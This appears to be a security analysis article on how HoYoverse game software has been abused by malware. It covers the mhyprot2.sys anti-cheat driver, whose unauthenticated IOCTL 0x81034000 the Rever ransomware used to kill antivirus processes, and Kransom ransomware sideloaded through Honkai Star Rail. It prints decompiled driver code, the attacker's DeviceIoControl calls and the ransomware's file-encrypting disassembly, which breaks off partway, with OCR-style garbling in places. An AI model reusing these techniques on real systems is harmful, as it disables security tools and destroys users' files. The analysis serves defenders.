Smuggling Malware Using HoYoverse Games
The leading provider of Bring-Your-Own-Vulnerable-Gacha-Games (BYOVGG)
Cover Illustration by ireneparamithaa
Hoyoverse, the studio behind some of the most popular games in recent years, has increasingly found itself in the crosshairs of cybercriminals and threat actors. With the company recently securing the title of "Most Expensive Game to Develop" and repeatedly breaking sales records, it's no surprise that its games have become prime targets. Hoyoverse, or its parent company MiHoYo, depending on the interpretation of its complex corporate structure, has turned into a revenue juggernaut—making it a lucrative focus for attackers.
Despite employing several anticheat solutions—such as MiHoYo Protect (mhyprot), Hoyoverse Kernel Protection (HoYoKProtect), and Tencent's Anti Cheat Expert (ACE)—all have been circumvented by various cheating groups. The games and their supporting anticheat engines have also attracted attention from threat actors seeking to exploit vulnerabilities in their drivers and applications.
In fact, there have been multiple instances of MiHoYo’s game binaries and related applications being leveraged to distribute malware. Below is a brief, albeit non-exhaustive, overview of significant incidents involving MiHoYo’s software being compromised or exploited for malicious purposes.
Genshin Impact Vulnerable Driver (Rever Ransomware)
In August 2022, TrendMicro reported on a Babuk-based ransomware exploit that utilized Genshin Impact's anti-cheat drivers to bypass kernel-level privileges. It was later found that the note similar to the note given by Rever Ransomware.
While Genshin Impact doesn't feature PvP mechanisms, its stringent monetization structure necessitates robust anti-tampering technologies to ensure the integrity of its random number generation (RNG) systems, thereby safeguarding MiHoYo's monetization model.
mhyprot2
is a part of miHoYo’s clientside anti-cheat approach. As kernel mode drivers have system-level privilege, these types of anticheat mechanisms often provoke controversy about user’s privacy and with many calling similar systems like Riot’s Vanguard or EasyAntiCheat as rootkits.
Following NT kernel APIs are used in mhyprot2
:
The
PsSetCreateProcessNotifyRoutine
routine adds a driver-supplied callback routine to, or removes it from, a list of routines to be called whenever a process is created or deleted.The
PsSetCreateThreadNotifyRoutine
routine registers a driver-supplied callback that is subsequently notified when a new thread is created and when such a thread is deleted.The
PsSetLoadImageNotifyRoutine
routine registers a driver-supplied callback that is subsequently notified whenever an image is loaded (or mapped into memory). This is the routine that we would be discussing.
The advantage of using these hooks is that mhyprot
can easily know when any module or component is being mapped to the game process that mhyprot protects. But how about when a piece of malicious code removes mhyprot’s callback routine on the system? There exists a validation routine that makes sure that mhyprot’s callback routine is active on the system.
BOOLEAN __stdcall IsLoadImagellotifyRoutineExists()
{
char *_pPspLoadImageNotifyRoutine; // rax
int Counter2; // ebx
int Counter: // esi
__int64 i; // r14
char *CallbackBlock; // rdi
__int64 RefCallbackBlock; // rdi
__int64 j; // rdx
_pPspLoadImageNotifyRoutine = (char *)gpPspLoadImageNotifyRoutine;
Counter2 = 0;
// if gpPspLoadImagellotifyRoutine not set, then set
if (!gpPspLoadImagellotifyRoutine )
{
_pPspLoadImageNotifyRoutine = FindPspRemoveLoadImageNotifyRoutine_sub_140006B240);
gpPspLoadImageNotifyRoutine = (__int64)_pPspLoadImageNotifyRoutine;
if ( !_pPspLoadImagellotifyRoutine )
return 1;
}
Counter = 0;
for ( i = 0164; ; i += 8164 )
{
CallbackBlock = &_pPspLoadImage lotifyRoutine[il;
if (&_pPspLoadImageNotifyRoutine[i])
break;
ContinueEnumeration:
// Every callback-block arrays have up to 64 of its size
if ( (unsigned int)++Counter >= 64 )
return 0;
}
if(!(unsigned __int8)mIsAddressValid(&_pPspLoadImageNotifyRoutine[i])
|| (RefCallbackBlock = *(_QWORD *)CallbackBlock) == 0
|| !(unsigned _int8)NmIsAddressValid(RefCallbackBlock)
|| *(void (__fastcall **)(__int64, __int64))((RefCallbackBlock & OxFFFFFFFFFFFFFFFOui64) + 8) != MhyLoadImageCallback )
{
_pPspLoadImageNotifyRoutine = (char *)gpPspLoadImageNotifyRoutine;
goto ContinueEnumeration;
}
// validate pointer
for (j = 0164; *(_DWORD *)((char *)&unk_14000A638 + j) == *(_DWORD *)((char *)MhyLoadImageCallback + j); j += 4164 )
{
if ( (unsigned int)++Counter2 >= 8 )
return 1;
}
return 0;
}
To safeguard against potential tampering, mhyprot2
implements a validation routine that ensures its callback routine remains active on the system. The detection logic first checks if the global pointer to PspLoadImageNotifyRoutine
is set. If not set, it attempts to find and set it using a custom function. It then iterates through the callback blocks (up to 64 entries), validating each callback block and checking if it matches mhyprot's callback function pointer.
The process begins by obtaining the PspLoadImageNotifyRoutine
array pointer using the FindPspRemoveLoadImageNotifyRoutine_sub_140006B24
function. The system then meticulously enumerates through each callback-block entry, validating each one. If a match is found with mhyprot's callback function pointer, the function returns TRUE
, indicating that the callback is still active and unaltered.
However, if no match is found after examining all entries, the function returns FALSE
. This FALSE
return could signify either that the callback was intentionally removed by malicious code attempting to bypass the anti-cheat system, or that it was never properly registered in the first place.
DKOM Countermeasures
To counter potential Direct Kernel Object Manipulation (DKOM) attacks, a technique often employed by malware to conceal processes or drivers, mhyprot2 implements a sophisticated signature scanning mechanism. This approach allows the anti-cheat system to locate specific function or variable pointers crucial to its operation
PspLoadImageNotifyRoutine
is not exported by ntoskrnl
due to Microsoft never recommending DKOM methods for device drivers. Instead, mhyprot2
uses FindPspRemoveLoadImageNotifyRoutine_sub_140006B24
.
RtlInitUnicodeString(&DestinationString,L"PsRemoveLoadImagellotifyRoutine");
pPsRemoveLoadImagellotifyRoutine=(char*)MmGatSystamRoutinaAddress(&DestinationString);
StubBase=pPsRemoveLoadImageNotifyRoutine;
if(pPsRemoveLoadImagellotifyRoutine)
{
if ( (unsigned int)gWinVer >= 61
{
if ( (unsigned int)gWinVer <= 63 ) // Windows Vista « 8.1
{
MaxAddressToSearch = (unsigned _int64)(pPsRemoveLoadImageNotifyRoutine + 255);
while ((unsigned __int64)StubBase < MaxAddressToSearch)
{
if ( *StubBase == 0x48
&& StubBase[1] == 0x8Du
&& StubBase[2] == OxD
&& StubBase[7] == 0x8Bu
&& StubBase[8] == Oxc6u )
{
DerefPointer = &StubBase[*( DWORD *)(StubBase + 3) + 7]:
ValidateAndReturn:
if ( DerefPointer && (unsigned __int8)MmIsAddressValid(DerefPointer))
goto LABEL_26;
break;
}
++StubBase;
}
}
else if ( gWinver == 100 ) // Windows 10 (Major=19, Minor=0)
{
for (i = (unsigned __int64) (pPsRemoveLoadImageNotifyRoutine + 12);
i < (unsigned ._int64) (pPsRemoveLoadImageNotifyRoutine + 255);
++i )
{
if (*( BYTE *)(i - 2) == 0x33
&& * ( BYTE *)(i + 1) == 0x8Du
&& * ( BYTE *)(i - 9) == 0x44
&& * ( BYTE *)(i - 10) == 0x66
&& * ( BYTE *)(i + 11) == 0x48 )
{
DerefPointer = (char *)(i + *( DWORD *)(: + 3) + 7);
goto ValidateAndReturn;
}
}
}
}
DerefPointer = Oi64:
The driver first obtains the address of PsRemoveLoadImageNotifyRoutine
using the MmGetSystemRoutineAddress
function. This serves as the starting point for the scan. The system then scans a range of memory starting from the address of PsRemoveLoadImageNotifyRoutine
and extending 255 bytes (0xFF in hexadecimal) beyond it. This range is chosen because the PspLoadImageNotifyRoutine
array is typically located within this vicinity.
If a match for the signature pattern is found within this range, mhyprot2 dereferences the address, performs validation checks, and if successful, returns this address as the location of the PspLoadImageNotifyRoutine
array. In the event that no matching pattern is found within the specified range, the system falls back to returning the function pointer of PsRemoveLoadImageNotifyRoutine
itself.
But the methodology varies depending on the Windows version in use. For Windows 7 through 8.1, mhyprot2 searches for the pattern \x48\x8D\x0D\x00\x00\x00\x00\x8B\xC6
, using the mask xxx????xx
. This corresponds to the instruction lea rcx, PspLoadImageNotifyRoutine
followed by mov eax, esi
.
For Windows 10 and later, it uses a different pattern: \x48\x66\x44\x00\x00\x00\x00\x00\x00\x33\x00\x00\x8D
, with the mask xxx??????x??x
. This pattern identifies a nearby instruction sequence unique to newer Windows versions.
These byte sequences serve as fingerprints for locating the PspLoadImageNotifyRoutine
array in memory.
PAGE:0000000140CAD62 lea rcx, PspLoadImageNotifyRoutine
PAGE:0000000140CAD69 lea rbp, [rcx+rdi*8]
PAGE:0000000140CAD70 mov rcx, rbp
PAGE:0000000140CAD73 call ExReferenceCallBackBlock
PAGE:0000000140CAD78 mov rbx, rax
PAGE:0000000140CAD7B test rax, rax
PAGE:0000000140CAD7E jz short loc_140CAD9F
PAGE:0000000140CAD80 cmp [rax+8], r14
PAGE:0000000140CAD84 jnz short loc_140CAD94
PAGE:0000000140CAD86 mov r8, rax
PAGE:0000000140CAD89 xor edx, edx
PAGE:0000000140CAD8B mov rcx, rbp
PAGE:0000000140CAD8E call ExCompareExchangeCallBack
PAGE:0000000140CAD93 test al, al
The code first locates a specific callback within the array using an index. It then employs a careful process to safely reference and potentially modify the callback. This involves using ExReferenceCallBackBlock
to ensure the callback isn't deallocated during the operation, followed by a integrity check comparing the callback to an expected value.
If the integrity check passes, the code prepares to modify the callback using ExCompareExchangeCallBack
. This function likely performs an atomic compare-and-exchange operation, allowing for thread-safe modification of the callback.
Windows Version Detection
Since of course ntoskrnl
is different on every version of Windows, the driver needs to verify which version of windows they’re running on by gWinVer
which set by GetAndSetGlobalVersionVariable
.
char GetAndSetGlobalVersionVariable()
{
int minorVersion; // [rsp+30h] [rbp+8h]
int majorVersion; // [rsp+38h] [rbp+10h]
if ( gwinVer )
return 1;
majorVersion = 0;
minorVersion = 0;
PsGetVersion (&majorVersion, &minorVersion, 0i64, 0i64);
if (majorVersion == 5 )
{
if (minorVersion == 1 )
{
gWinVer = 51;
return 1;
}
}
else if (majorVersion == 6 ) // Windows Vista - 8.1
{
switch ( minorVersion )
{
case 1:
gWinVer = 61;
return 1;
case 2:
gWinVer = 62;
return 1;
case 3:
gWinVer = 63;
return 1;
}
}
else if (majorVersion == 10 && !minorVersion )
{
gWinVer = 100;
return 1;
}
gwinVer = 0;
return 0;
The function begins by checking if a global version variable (gWinVer
) has already been set. If it has, the function immediately returns, avoiding redundant version checks. This approach optimizes performance by ensuring the potentially time-consuming version detection process occurs only once during the driver's operation.
If the global version variable hasn't been set, the function proceeds to use the PsGetVersion
API. This API call retrieves the major and minor version numbers of the operating system. Interestingly, mhyprot2 uses PsGetVersion
despite it being considered obsolete after Windows XP, having been replaced by RtlGetVersion
in more recent Windows versions.
majorVersion | minorVersion | gWinVer | Product |
5 | 1 | 51 | Windows XP |
6 | 1 | 61 | Windows 7 |
6 | 2 | 62 | Windows 8 |
6 | 3 | 63 | Windows 8.1 |
10 | 0 | 100 | Windows 10 |
If the detected version doesn't match any of these known configurations, gWinVer
is set to 0, likely indicating an unknown or unsupported Windows version.
The choice to use PsGetVersion
might be driven by compatibility concerns. It's possible that the developers of mhyprot2 wanted to ensure their anti-cheat system could function on a wide range of Windows versions, including older systems that might still be in use in some markets. This backward compatibility could be particularly important in regions where older hardware and operating systems remain prevalent.
Validation Routine
he Validation Routine is a critical component of mhyprot2's integrity checking mechanism. This routine is designed to ensure that all the anti-cheat system's protective measures remain active and uncompromised during the game's operation. The routine is implemented through a function that we can refer to as CheckForAllCallbacks
.
bool CheckForAllCallbacks()
{
return !GetAndSetGlobalVersionVariable()
|| IsgpPspLoadImageNotifyRoutineValid()
&& IsLoadImageNotifyRoutineExist()
&& IsProcessCreateNotifyRoutineExist()
&& IsCreateThreadNotifyRoutineExist()
}
This function performs a series of checks to validate the integrity of various callback routines essential to mhyprot2's operation. Let's examine each component of this validation process:
GetAndSetGlobalVersionVariable()
: This call ensures that the Windows version has been properly detected and set. If this function returns true (indicating a failure in version detection), the overall check fails immediately.IsgpPspLoadImageNotifyRoutineValid()
: This check verifies the validity of the global pointer to the PspLoadImageNotifyRoutine. It's crucial for ensuring that the system can properly monitor image loading events.IsLoadImageNotifyRoutineExist()
: This function confirms that the Load Image Notify Routine is still registered and active. This routine is vital for detecting when new modules or DLLs are loaded into the game process.IsProcessCreateNotifyRoutineExist()
: This check ensures that the Process Create Notify Routine is still in place. This routine allows mhyprot2 to monitor the creation of new processes, which is essential for detecting potential cheat launchers or injectors.IsCreateThreadNotifyRoutineExist()
: This function verifies that the Create Thread Notify Routine is active. This routine enables mhyprot2 to monitor thread creation, which is crucial for detecting certain types of code injection techniques.
The function returns true only if all these checks pass (note the use of logical AND operators), indicating that all necessary callback routines are in place and functioning as expected. If any of these checks fail, it could indicate that the anti-cheat system has been compromised or disabled in some way.
NTSTATUS MhyChecksumForever()
{
unsigned __int64 v0; // rbx
char Dest; // [rsp+30h] [rbp-Doh]
char v3; // [rsp+168h] [rbp+68h]
int v4; // [rsp+170h] [rbp+70h]
int v5; // [rsp+178h] [rbp+78h]
v0 = 1i64;
sub_1400014E0();
v4 = 1;
_InterlockedCompareExchange(6v4, -1, dword_14000A6E8);
while ( v4 != -1 )
{
v5 = 0;
_InterlockedCompareExchange(&v5, -1, dword_14000A010);
if ( v5 == -1 )
{
if (dword_14000A6FC <= 0 )
{
++dword_14000A6FC;
sub_140997500(6Dest, 0i64, 256164); sprintf(&Dost, 0x100ui64, "Status false\r\n");
snprintf(&Dest, 0i64, 256i64);
sub_1409059EC(0i64, &Dest);
_InterlockedExchange(&dword_14000A6F8, 1);
}
}
else
{
_InterlockedAdd(Gdword_14000A010, OxFFFFFFFF);
if (v0 & 0x32 == 11 )
{
v3 = 0;
KdChangeOption(0i64, 1i64, &v3, 0i64, 0i64, 0164);
KdDisableDebugger();
LOBYTE(KdDebuggerEnabled) = 0;
if ( (unsigned _int8)sub_140001490() == 1 )
_InterlockedExchange(&dword_14009AGEC, 3);
}
}
if ( v0 == 50 * (v0 / 0x32) && ChockForBothObAndALLPsCallbacks() )
_InterlockedExchange(&dword_14000AGEC, 3);
if (v0 & Ox1E == 11 && Object )
KeSetEvent((PREVENT)object, 0, 0);
MhySleepKernelThread(100);
++v0;
sub_1400014E00();
v4 = 1;
_InterlockedCompareExchange(&v4, -1, dword_14000A6E8);
}
return PsTerminateSystenThread(0);
In this context, CheckForBothObAndAllPsCallbacks
likely includes the CheckForAllCallbacks
function along with additional checks for Object Manager callbacks (ObRegisterCallbacks
).
The interesting part is the KdDisableDebugger
thats in MhyChecksumForever
as this new version of mhyprot
implemented kernel debugger detection.
{
_InterlockedAdd(Gdword_14000A010, OxFFFFFFFF);
if (v0 & 0x32 == 11 )
{
v3 = 0;
KdChangeOption(0i64, 1i64, &v3, 0i64, 0i64, 0164);
KdDisableDebugger();
LOBYTE(KdDebuggerEnabled) = 0;
if ( (unsigned _int8)sub_140001490() == 1 )
_InterlockedExchange(&dword_14009AGEC, 3);
}
}
The call sleeps every 100 seconds until another execution check.
NTSTATUS __fastcall MhySleepKernelThreat(int Second)
{
LARGE_INTERGER Interval; // [rsp+38h] [rpb+10h]
Interval.QuadPart = -10000 * Second;
return KeDelayExecutionThread(0,0,&Interval);
}
Also MhyChecksumForever
is created by MhyCreateChecksumThread
which calls PsCreateSystemThread
.
__int64 MhyCreateChecksumThread()
{
__int64 v1; // [rsp+40h] [rpb-48h]
__int64 v2; // [rsp+48h] [rpb-40h]
int v3; // [rsp+50h] [rpb-38h]
__int64 v4; // [rsp+58h] [rpb-30h]
__int64 v5; // [rsp+60h] [rpb-28h]
int v6; // [rsp+68h] [rbp-20h]
__int128 v7; // [rsp+70h] [rpb-18h]
__int64 v8; // [rsp+90h] [rpb+8h]
_InterlockedExchange(&dword_14000A6E8, 0);
v3 = 48;
v4 = 0i64;
v6 = 512;
v5 = 0i64;
v8 = 0i64;
_mm_storeu_si128((__m128i*)&v7,(__m128i)0i64);
PsCreateSystemThread(
(PHANDLE)&v8,
0,
(POBJECT_ATTRIBUTES)&v3,
0i64,
(PCLIENT_ID)&v1,
(PKSTART_ROUTINE)MhyChecksumForever,
0i64);
return PsLookupThreadByThreadId(v2, &gChecksumThreadHandle);
}
Process Termination
The process termination functionality in mhyprot2 is implemented through a specific IOCTL (Input/Output Control) handler. This feature allows the anti-cheat system to terminate processes, which can be used to stop cheat tools or compromised game instances.
PAGE:FFFFF800188CD0F9 cmp ebx, 81034000h // Compare the IOCTL code with 0x81034000
PAGE:FFFFF800188CD0FF jz short loc_FFFFF800188CD16C // Jump if equal
PAGE:FFFFF800188CD16C loc_FFFFF800188CD16C: ; CODE XREF: sub_FFFFF800188CD000+FF↑j
PAGE:FFFFF800188CD16C mov rax, [rsp+30h] // Load pointer to input buffer
PAGE:FFFFF800188CD171 mov ecx, [rax] // Load process ID from input buffer
PAGE:FFFFF800188CD173 call sub_FFFFF800188C36A8 // Call process termination function
PAGE:FFFFF800188CD178 and dword ptr [rbp+1D0h+arg_20], 0
This code segment compares the provided IOCTL code with 0x81034000
. If they match, it jumps to the handler for this specific IOCTL. The handler then loads the process ID from the input buffer and then calls a subroutine (sub_FFFFF800188C36A8
) to handle the process termination.
In the sub_FFFFF800188C36A8
at the .text
segment checks if the provided process ID (ecx
) is non-null. If the process ID is null, it jumps to the return statement, effectively ending the function. But this validation routine lacks further checks, such as whether the caller has the right to terminate the specified process.
.text:FFFFF800188C36B0 sub_FFFFF800188C36B0 proc near
.text:FFFFF800188C36B0
.text:FFFFF800188C36B0 var_38 = qword ptr -38h
.text:FFFFF800188C36B0 var_30 = byte ptr -30h
.text:FFFFF800188C36B0 var_28 = qword ptr -28h
.text:FFFFF800188C36B0 var_18 = byte ptr -18h
.text:FFFFF800188C36B0 arg_0 = qword ptr 8
.text:FFFFF800188C36B0 Object = qword ptr 10h
.text:FFFFF800188C36B0 Handle = qword ptr 18h
.text:FFFFF800188C36B0 arg_18 = qword ptr 20h
.text:FFFFF800188C36B0
.text:FFFFF800188C36B0 ; __unwind { // __C_specific_handler
.text:FFFFF800188C36B0 test ecx, ecx // Check if process ID is non-null
.text:FFFFF800188C36B2 jz locret_FFFFF800188C3779 ; If null, return
The actual process termination is performed using the ZwTerminateProcess
function.
.text:FFFFF800188C3733 loc_FFFFF800188C3733:
.text:FFFFF800188C3735 mov rcx, [rsp+58h+Handle] // Load process handle
.text:FFFFF800188C373A call cs:ZwTerminateProcess // Call ZwTerminateProcess
We can leverage the lack of checks here with a specially crafted request, using the specific IOCTL code and a target process ID. Since this IOCTL handler has a payload encryption measure, attackers would need to encrypt the payload.
This is exactly the same method detailed in the Trendmicro report, with the threat actor loading mhyprot2.sys
using the NtOpenFile function.
ConsoleWindow = GetConsoleWindow();
ShowWindow(ConsoleWindow,0);
v4 = 0;
if (!sub_1331000())
{
memset(Dst, 0, sizeof(Dst));
wcscpy_s(Dst, 0x100u, L"\\Device\\");
wcscat_s(Dst, 0x100u, mhyprot2);
memset(&ServiceStatus.dwCurrentState,0,24);
ServiceStatus.dwCurrentState = 24;
v13 = 2 * wcslen(Dst);
v12 = v13;
BytesReturned = Dst;
ServiceStatus.dwWin32ExitCode = &v12;
v5 = NtOpenFile(&Handle, 0xC0100000, &ServiceStatus.dwCurrentState, &IoStatusBlock, 0, 3u);
}
Afterwards, it seems to scan the common processes that are related to Antivirus or Endpoint Detection suites. The list of targeted processes will then be passed to mhyprot2
using the DeviceIoControl
function and uses control code 0x81034000
to instruct the driver to terminate the processes in the list on all threads using the ZwTerminateProcess
function.
// DeviceIoControl function
sub_1333979(v7);
if(DeviceIoControl(Handle_to_myprot2, 0x81034000, &InBuffer, 0xCu, &OutBuffer, 0xCu, &BytesReturned, 0))
// The mhyprot2.sys case function
case 0x8103400:
sub_1400036A8(*v34);
LODWORD(a5) = 0;
if (ProcessId)
{
ProcessHandle = 0i64;
Object = 0i64;
v1 = PsLookupProcessByProcessId(ProcessId,&Object) >= 0;
if(Object)
{
if(ObOpenObjectByPointer(Object,0,0i64,0,0i64,0,&ProcessHandle))
{
if(v1)
ObDeferenceObject(Object);
}
else
// ZwTerminateProcess inside 0x81034000, which terminates a process and all of its threads
{
ZwTerminateProcess(ProcessHandle,0);
ZwClose(ProcessHandle);
if(v1 && Object)
ObDeferenceObject(Object);
}
}
}
Indicators of Compromise (IOC)
avg.msi
274685C591E96CB1F9CAE91EC8E7073F3A4CB113
avg.exe
D4FFD891B9FC1AE212489ABBA43D76E2D58E6782
svchost.exe
F47D9EC9C2515761E2BC40287B299420A86AF6AB
logon.bat
1ED1174E6E5545AAA081A480156485156B9D3A13
HelpPane.exe
2CF9376B057E187B9F465BDAF1C50FDBA9BA66E6
kill_svc.exe
ccb219be156551464a2b91dfc5cddaf0c3e8321f
b.bat
7617511adda7cb03f317f0df61624b5ecbffcd87
Vulnerable Driver (BYOVD)
- mhyprot2.sys
0466E90BF0E83B776CA8716E01D35A8A2E5F96D3
To address the IOCTL vulnerability in mhyprot2's process termination functionality, several security measures should be implemented as recommended by Microsoft. When defining new IOCTL codes, it's crucial to specify a FunctionCode
value that is equal to or greater than 0x800
. Additionally, always specify a RequiredAccess
value, as this allows the I/O manager to prevent IOCTL calls from users with insufficient access rights. It's important to avoid defining IOCTL codes that allow callers to read or write nonspecific areas of kernel memory.
In the driver's dispatch routines, it's essential to test the entire 32-bit value when examining received IOCTL codes. For enhanced security, drivers can utilize IoValidateDeviceIoControlAccess
to perform stricter access checking dynamically, beyond what is specified by the RequiredAccess value in the IOCTL definition.
Buffer validation is a critical aspect of secure IOCTL processing. Never read or write more data than the buffer pointed to by Irp->AssociatedIrp.SystemBuffer
can contain. Always check Parameters.DeviceIoControl.InputBufferLength
or Parameters.DeviceIoControl.OutputBufferLength
in the IO_STACK_LOCATION
structure to determine buffer limits. For added security, always zero driver-allocated buffers that will contain data intended for the application that originated the IOCTL request. This precaution prevents accidental copying of sensitive data to the application.
For METHOD_IN_DIRECT
and METHOD_OUT_DIRECT
transfers, additional checks are necessary. It's important to check for a NULL
return value from MmGetSystemAddressForMdlSafe
, which indicates that mapping failed or that a zero-length buffer was supplied. For METHOD_NEITHER
transfers, follow the specific rules provided in the "Using Neither Buffered Nor Direct I/O" documentation.
To further enhance security, consider applying explicit security descriptors when the driver is installed. In an INF file, security descriptors are described by the "Security" entry in the AddReg section. The security descriptor should be defined using the Security Descriptor Definition Language (SDDL), which includes specifications for the owner SID, group SID, discretionary access control list (DACL), and system access control list (SACL).
When creating a named device object, drivers can control the security settings of specific objects by using the IoCreateDeviceSecure
function. This function allows the application of a security descriptor to the device object using a subset of the full SDDL that is appropriate for device objects. The purpose of applying specific security descriptors to device objects is to ensure that appropriate security checks are performed whenever an application attempts to access the device itself.
For devices that do not support name structure, it's important to set the FILE_DEVICE_SECURE_OPEN
bit in the device characteristics field. This ensures that the I/O manager performs a full security check on the device object. Failing to set this bit correctly is a common bug in drivers and can allow inappropriate access to the device.
Honkai : Star Rail DLL Sideloading (Kransom Ransomware)
In September 2024, ANYRUN discovered a threat actor using an altered install of Honkai Star Rail to perform a DLL sideloading attack. It starts with StarRail.exe
which is a signed binary by COGNOSPHERE PTE LTD (a subsidiary of HoYoverse and MiHoYo). The game itself needs admin privileges to run, as with most games especially those with kernel-level anticheats.
We can see how Honkai Star Rail was succeptible to DLL sideloading by examining the binary using dumpbin.exe on Visual Studio 2022 with the C++ Profiling Tools
package enabled.
C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.41.34120\bin\Hostx86\x86>dumpbin.exe /imports C:\Users\user\Desktop\test\StarRail.exe
Microsoft (R) COFF/PE Dumper Version 14.41.34120.0
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file C:\Users\user\Desktop\test\StarRail.exe
File Type: EXECUTABLE IMAGE
LINK : warning LNK4078: multiple '.ace' sections found with different attributes (E0000020)
Section contains the following imports:
StarRailBase.dll
1400A6AC1 Import Address Table
1400A6AF9 Import Name Table
0 time date stamp
0 Index of first forwarder reference
Ordinal 1
Summary
3000 .ace
A3000 .ace
This output suggests that StarRail.exe
is a relatively simple executable that relies on StarRailBase.dll
for most of its functionality. The use of ordinal imports and the presence of .ace
sections (which are not standard in typical Windows executables) indicate this might be a custom or protected executable format. ACE relates probably to Anti Cheat Expert.
In Windows, Microsoft has documented the process on how programs typically search for DLL's on its official documentation on dynamic-link library search order which states that...
If safe DLL search mode is enabled, then the search order is as follows:
DLL Redirection.
API sets.
SxS manifest redirection.
Loaded-module list.
Known DLLs.
Windows 11, version 21H2 (10.0; Build 22000), and later. The package dependency graph of the process. This is the application's package plus any dependencies specified as
<PackageDependency>
in the<Dependencies>
section of the application's package manifest. Dependencies are searched in the order they appear in the manifest.The folder from which the application loaded.
The system folder. Use the GetSystemDirectory function to retrieve the path of this folder.
The 16-bit system folder. There's no function that obtains the path of this folder, but it is searched.
The Windows folder. Use the GetWindowsDirectory function to get the path of this folder.
The current folder.
The directories that are listed in the
PATH
environment variable. This doesn't include the per-application path specified by the App Paths registry key. The App Paths key isn't used when computing the DLL search path.
Safe DLL Search Mode was introduced as a security feature starting with Windows XP Service Pack 1 and Windows Server 2003. This feature is designed to prevent DLL hijacking by altering the search order for DLLs. Specifically, it prioritizes system directories (like System32
) over the current working directory, thus making it more difficult for attackers to place malicious DLLs in easy-to-access directories.
Before Safe DLL Search Mode, Windows would search the current working directory earlier, which made it easier for attackers to exploit DLL hijacking vulnerabilities. The introduction of Safe DLL Search Mode greatly reduced this risk by switching the order in which directories are searched, providing protection against this type of attack
While this reduces the risk, it does not eliminate all vulnerabilities, especially if an attacker gains access to directories that are still part of the search order, like the application directory. This is where StarRailBase.dll
comes into play, as the DLL is located in the same directory as the game.
The threat actor seems to have provided a mirror to Honkai (weird because usually they target paid games through cracks, not free-to-play games) and replaced StarRailBase.dll
with a malicious version. Note that the game will execute this DLL, but it cannot launch with this DLL and will return an error saying it could not find the DLL.
The malware's entry point is an exported function named "K". This function is likely called by the game when it attempts to load the legitimate DLL. This function sets up the stack, initializes the file search with the user's directory, and then jumps to the main encryption routine.
public K
K proc near
sub rsp, 28h // Allocate 40 bytes on the stack
lea rcx, aCUsers // Load effective address of "C:\Users" string into rcx
call sub_18000113C // Call function to search for files
add rsp, 28h // Clean up the stack
jmp sub_18000102C // Jump to another function (likely for file encryption)
K endp
The malware searches for files in the user's directory using Windows API functions. It starts in the user's AppData folder and recursively searches for all files.
sub_18000113C proc near
// Function prologue and stack setup
mov [rsp-8+arg_0], rbx
mov [rsp-8+arg_8], rdi
push rbp
lea rbp, [rsp-280h]
sub rsp, 380h
mov rdi, rcx ; Store the input parameter (likely the search path)
// Get the user's AppData folder path
xor r9d, r9d ; dwFlags = 0
lea rax, [rsp+148h+String2]
mov [rsp+148h+pszPath], rax ; pszPath = buffer for path
xor r8d, r8d ; hToken = NULL
xor ecx, ecx ; hwnd = NULL
lea edx, [r9+1Ah] ; csidl = 0x1A (CSIDL_APPDATA)
call cs:SHGetFolderPathA
// Construct search path by appending "\*" to user path
lea rdx, asc_180002084 ; "\\*"
lea rcx, [rbp+280h+String1] ; lpString1 = user path
call cs:lstrcatA ; Append "\\*" to user path
// Start file search
lea rdx, [rsp+380h+FindFileData] ; lpFindFileData
lea rcx, [rbp+280h+String1] ; lpFileName = search path
call cs:FindFirstFileA
mov rbx, rax ; Store file handle
// Check if file handle is valid
cmp rax, 0FFFFFFFFFFFFFFFFh
jz short loc_18000121F ; Jump to end if invalid handle
This function uses SHGetFolderPathA
to get the user's AppData folder, then uses FindFirstFileA
and FindNextFileA
to iterate through all files. For each file found, the malware opens it, reads its content, encrypts it, and writes it back to disk.
The encryption is a simple XOR operation with the key 0xAA. While not cryptographically secure, it's enough to render files unreadable. The encryption is a simple XOR operation with the key 0xAA. While not cryptographically secure, it's enough to render files unreadable.
sub_18000128C proc near
mov [rsp-8+arg_0], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp-10050h]
mov eax, 10150h
call __alloca_probe
sub rsp, rax
mov rsi, rcx // Store filename pointer
// Check if file already has .k extension
call cs:lstrlenA
cmp eax, 2
jl short loc_1800012CF
cdqe
cmp byte ptr [rax+rsi-2], 2Eh ; '.'
jnz short loc_1800012CF
cmp byte ptr [rax+rsi-1], 6Bh ; 'k'
jz loc_1800013E2 // Skip if already encrypted
loc_1800012CF:
// Open the file
and [rsp+10170h+var_10140], 0
xor r9d, r9d ; lpSecurityAttributes = NULL
mov [rsp+10170h+dwFlagsAndAttributes], 80h ; FILE_ATTRIBUTE_NORMAL
mov edx, 0C0000000h ; GENERIC_READ | GENERIC_WRITE
mov rcx, rsi ; lpFileName
mov [rsp+10170h+dwCreationDisposition], 3 ; OPEN_EXISTING
lea r8d, [r9+1] ; dwShareMode = FILE_SHARE_READ
call cs:CreateFileA
mov r14, rax ; Store file handle
cmp rax, 0FFFFFFFFFFFFFFFFh
jz loc_1800013E2 ; Jump if file open failed
// Initialize encryption loop variables
and dword ptr [rbp+10070h+liDistanceToMove], 0
xor eax, eax
mov dword ptr [rbp+10070h+liDistanceToMove+4], eax
xor r15d, r15d
mov rbx, qword ptr [rbp+10070h+liDistanceToMove]
loc_180001320: // Start of encryption loop
// Read file content
and qword ptr [rsp+10170h+dwCreationDisposition], 0
lea r9, [rbp+10070h+NumberOfBytesRead]
mov r8d, 10000h
lea rdx, [rbp+10070h+Buffer]
mov rcx, r14 // hFile
call cs:ReadFile
test eax, eax
jz short loc_1800013AB // Jump if read failed
mov eax, [rbp+10070h+NumberOfBytesRead]
test eax, eax
jz short loc_1800013AB // Jump if no bytes read
// Prepare for encryption
mov edi, 80000h
lea rcx, [rbp+10070h+Buffer]
sub rdi, r15
cmp rax, rdi
cmovb rdi, rax
mov rdx, rdi
call sub_180001400 // Call encryption function (XOR)
// Set file pointer back
mov rdx, rbx
mov rcx, r14
xor r9d, r9d
xor r8d, r8d
call cs:SetFilePointerEx
// Write encrypted content back to file
and qword ptr [rsp+10170h+dwCreationDisposition], 0
lea r9, [rbp+10070h+NumberOfBytesWritten]
mov r8d, edi
lea rdx, [rbp+10070h+Buffer]
mov rcx, r14
call cs:WriteFile
// Update loop variables and continue if not finished
add rbx, rdi
add r15, rdi
cmp r15, 80000h
jb loc_180001320
loc_1800013AB: // Cleanup and rename file
mov rcx, r14
call cs:CloseHandle
// Rename file (add .k extension)
mov rdx, rsi // lpString2 (original filename)
